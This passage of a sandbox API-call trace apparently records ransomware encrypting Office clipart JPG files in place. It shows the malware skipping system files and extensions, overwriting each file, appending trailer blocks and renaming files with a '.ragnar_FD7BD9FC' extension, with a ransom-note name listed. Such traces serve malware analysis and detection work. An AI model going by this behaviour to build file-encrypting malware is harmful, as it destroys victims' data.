(lpString1=".JPG", lpString2=".exe") returned 1 [0085.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg")) returned 0x20 [0085.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.237] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24982) returned 1 [0085.237] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x618d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.237] GetProcessHeap () returned 0x580000 [0085.237] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.237] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.239] VirtualAlloc (lpAddress=0x0, dwSize=0x6196, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.239] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.239] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.239] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6196, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6196, lpOverlapped=0x0) returned 1 [0085.240] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.240] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6196, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.240] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6196, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6196, lpOverlapped=0x0) returned 1 [0085.241] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6196, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.241] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.241] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6196, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.241] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.241] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.241] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.241] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.241] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.241] GetProcessHeap () returned 0x580000 [0085.241] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.241] CloseHandle (hObject=0xf4) returned 1 [0085.241] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" [0085.242] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.ragnar_FD7BD9FC" [0085.242] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.242] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb57d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0175361.JPG", cAlternateFileName="")) returned 1 [0085.242] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.242] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0175361.JPG" | out: lpString1="J0175361.JPG") returned="J0175361.JPG" [0085.242] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned=".JPG" [0085.242] lstrcmpiW (lpString1="J0175361.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.242] lstrcmpiW (lpString1="J0175361.JPG", lpString2="autorun.inf") returned 1 [0085.242] lstrcmpiW (lpString1="J0175361.JPG", lpString2="boot.ini") returned 1 [0085.242] lstrcmpiW (lpString1="J0175361.JPG", lpString2="bootfont.bin") returned 1 [0085.242] lstrcmpiW (lpString1="J0175361.JPG", lpString2="bootsect.bak") returned 1 [0085.242] lstrcmpiW (lpString1="J0175361.JPG", lpString2="bootmgr") returned 1 [0085.242] lstrcmpiW (lpString1="J0175361.JPG", lpString2="bootmgr.efi") returned 1 [0085.243] lstrcmpiW (lpString1="J0175361.JPG", lpString2="bootmgfw.efi") returned 1 [0085.243] lstrcmpiW (lpString1="J0175361.JPG", lpString2="desktop.ini") returned 1 [0085.243] lstrcmpiW (lpString1="J0175361.JPG", lpString2="iconcache.db") returned 1 [0085.243] lstrcmpiW (lpString1="J0175361.JPG", lpString2="ntldr") returned -1 [0085.243] lstrcmpiW (lpString1="J0175361.JPG", lpString2="ntuser.dat") returned -1 [0085.243] lstrcmpiW (lpString1="J0175361.JPG", lpString2="ntuser.dat.log") returned -1 [0085.243] lstrcmpiW (lpString1="J0175361.JPG", lpString2="ntuser.ini") returned -1 [0085.243] lstrcmpiW (lpString1="J0175361.JPG", lpString2="thumbs.db") returned -1 [0085.243] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0085.243] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0085.243] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0085.243] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0085.243] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0085.243] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0085.243] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0085.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg")) returned 0x20 [0085.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.243] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=46461) returned 1 [0085.243] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.243] GetProcessHeap () returned 0x580000 [0085.243] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.243] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.245] VirtualAlloc (lpAddress=0x0, dwSize=0xb57d, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.245] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.245] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.245] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb57d, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb57d, lpOverlapped=0x0) returned 1 [0085.247] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.247] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb57d, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.247] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb57d, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb57d, lpOverlapped=0x0) returned 1 [0085.248] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb57d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.248] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.248] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb57d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.248] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.248] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.248] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.248] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.248] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.248] GetProcessHeap () returned 0x580000 [0085.249] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.249] CloseHandle (hObject=0xf4) returned 1 [0085.249] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" [0085.249] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.ragnar_FD7BD9FC" [0085.249] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.249] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0175428.JPG", cAlternateFileName="")) returned 1 [0085.249] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.249] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0175428.JPG" | out: lpString1="J0175428.JPG") returned="J0175428.JPG" [0085.249] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned=".JPG" [0085.249] lstrcmpiW (lpString1="J0175428.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.249] lstrcmpiW (lpString1="J0175428.JPG", lpString2="autorun.inf") returned 1 [0085.249] lstrcmpiW (lpString1="J0175428.JPG", lpString2="boot.ini") returned 1 [0085.249] lstrcmpiW (lpString1="J0175428.JPG", lpString2="bootfont.bin") returned 1 [0085.250] lstrcmpiW (lpString1="J0175428.JPG", lpString2="bootsect.bak") returned 1 [0085.250] lstrcmpiW (lpString1="J0175428.JPG", lpString2="bootmgr") returned 1 [0085.250] lstrcmpiW (lpString1="J0175428.JPG", lpString2="bootmgr.efi") returned 1 [0085.250] lstrcmpiW (lpString1="J0175428.JPG", lpString2="bootmgfw.efi") returned 1 [0085.250] lstrcmpiW (lpString1="J0175428.JPG", lpString2="desktop.ini") returned 1 [0085.250] lstrcmpiW (lpString1="J0175428.JPG", lpString2="iconcache.db") returned 1 [0085.250] lstrcmpiW (lpString1="J0175428.JPG", lpString2="ntldr") returned -1 [0085.250] lstrcmpiW (lpString1="J0175428.JPG", lpString2="ntuser.dat") returned -1 [0085.250] lstrcmpiW (lpString1="J0175428.JPG", lpString2="ntuser.dat.log") returned -1 [0085.250] lstrcmpiW (lpString1="J0175428.JPG", lpString2="ntuser.ini") returned -1 [0085.250] lstrcmpiW (lpString1="J0175428.JPG", lpString2="thumbs.db") returned -1 [0085.250] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0085.250] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0085.250] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0085.250] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0085.250] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0085.250] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0085.250] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0085.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg")) returned 0x20 [0085.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.250] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14552) returned 1 [0085.251] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x38cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.251] GetProcessHeap () returned 0x580000 [0085.251] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.251] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.252] VirtualAlloc (lpAddress=0x0, dwSize=0x38d8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.252] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.252] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.252] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x38d8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x38d8, lpOverlapped=0x0) returned 1 [0085.253] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.253] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x38d8, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.253] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x38d8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x38d8, lpOverlapped=0x0) returned 1 [0085.253] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x38d8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.253] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.253] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x38d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.253] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.254] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.254] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.254] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.254] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.254] GetProcessHeap () returned 0x580000 [0085.254] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.254] CloseHandle (hObject=0xf4) returned 1 [0085.254] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" [0085.254] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.ragnar_FD7BD9FC" [0085.254] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.255] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb12e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0177257.JPG", cAlternateFileName="")) returned 1 [0085.255] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.255] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0177257.JPG" | out: lpString1="J0177257.JPG") returned="J0177257.JPG" [0085.255] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned=".JPG" [0085.255] lstrcmpiW (lpString1="J0177257.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.255] lstrcmpiW (lpString1="J0177257.JPG", lpString2="autorun.inf") returned 1 [0085.255] lstrcmpiW (lpString1="J0177257.JPG", lpString2="boot.ini") returned 1 [0085.255] lstrcmpiW (lpString1="J0177257.JPG", lpString2="bootfont.bin") returned 1 [0085.255] lstrcmpiW (lpString1="J0177257.JPG", lpString2="bootsect.bak") returned 1 [0085.255] lstrcmpiW (lpString1="J0177257.JPG", lpString2="bootmgr") returned 1 [0085.255] lstrcmpiW (lpString1="J0177257.JPG", lpString2="bootmgr.efi") returned 1 [0085.255] lstrcmpiW (lpString1="J0177257.JPG", lpString2="bootmgfw.efi") returned 1 [0085.255] lstrcmpiW (lpString1="J0177257.JPG", lpString2="desktop.ini") returned 1 [0085.255] lstrcmpiW (lpString1="J0177257.JPG", lpString2="iconcache.db") returned 1 [0085.255] lstrcmpiW (lpString1="J0177257.JPG", lpString2="ntldr") returned -1 [0085.255] lstrcmpiW (lpString1="J0177257.JPG", lpString2="ntuser.dat") returned -1 [0085.255] lstrcmpiW (lpString1="J0177257.JPG", lpString2="ntuser.dat.log") returned -1 [0085.255] lstrcmpiW (lpString1="J0177257.JPG", lpString2="ntuser.ini") returned -1 [0085.255] lstrcmpiW (lpString1="J0177257.JPG", lpString2="thumbs.db") returned -1 [0085.255] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0085.255] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0085.255] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0085.255] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0085.255] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0085.255] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0085.255] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0085.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg")) returned 0x20 [0085.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.256] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=45358) returned 1 [0085.256] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb125, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.256] GetProcessHeap () returned 0x580000 [0085.256] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 